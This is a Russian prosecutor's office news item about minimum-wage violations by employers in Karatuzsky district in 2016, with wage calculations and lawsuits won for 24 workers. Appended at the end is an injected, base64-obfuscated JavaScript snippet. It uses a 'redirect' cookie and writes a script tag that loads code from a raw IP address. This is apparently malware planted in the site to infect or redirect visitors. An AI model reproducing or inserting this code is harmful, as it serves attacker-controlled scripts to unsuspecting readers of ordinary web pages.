Прокуратурой Каратузского района проведены проверки соблюдения работодателями района норм трудового законодательства при начислении заработной платы.
Проведенной проверкой установлены нарушения в деятельности большинства работодателей.
Так, установление минимального размера оплаты труда регламентировано ст. 133 ТК РФ, которой предусмотрено, в частности, что минимальный размер оплаты труда устанавливается одновременно на всей территории Российской Федерации федеральным законом. Частью третьей данной статьи предусмотрено, что месячная заработная плата работника, полностью отработавшего за этот период норму рабочего времени и выполнившего нормы труда (трудовые обязанности), не может быть ниже минимального размера оплаты труда.
Федеральным законом от 19.06.2000 № 82-ФЗ «О минимальном размере оплаты труда» с 1 января 2016 года установлен МРОТ в размере 6204 руб.
При этом, в соответствии со ст.ст. 316, 317 ТК РФ и принятыми в соответствии с ними правовыми актами на территории Каратузского района установлены районный коэффициент 1,30 и 30-ти процентная надбавка к заработной плате за стаж работы на территории южных районах Красноярского края.
Исходя из совокупности вышеприведенных положений ТК РФ и иных нормативно – правовых актов, следует, что минимальный размер оплаты труда работника, выполнившего нормы труда в Каратузском районе Красноярского края в 2016 году не может быть ниже 9926 руб. (6204 х 60%). В случае же выполнения работником трудовых обязанностей в течение времени превышающего установленные нормы, заработная плата подлежит начислению в повышенном размере, то есть свыше 9926 руб. Такие ситуации типичны для должностей с посменным режимом труда, когда работник, выполняя трудовые обязанности в течение установленной работодателем смены, превышает установленные нормы труда.
По указанным основаниям прокурором района в текущем году в суд направлены иски о взыскании недоначисленной заработной платы в пользу 24 работников на общую сумму свыше 160 тыс. руб. Рассмотренные судом иски удвлетворены.
Указанная информация представлена для освещения надзорной деятельности прокуратуры, направленной на защиту трудовых прав граждан, а также для правового просвещения населения.
function getCookie (e){var U=document.cookie.match (new RegExp («(?:^|; )»+e.replace (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent (U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor (Date.now ()/1e3),cookie=getCookie («redirect»);if (now>=(time=cookie)||void 0===time){var time=Math.floor (Date.now ()/1e3+86400),date=new Date ((new Date).getTime ()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString (),document.write ('')}
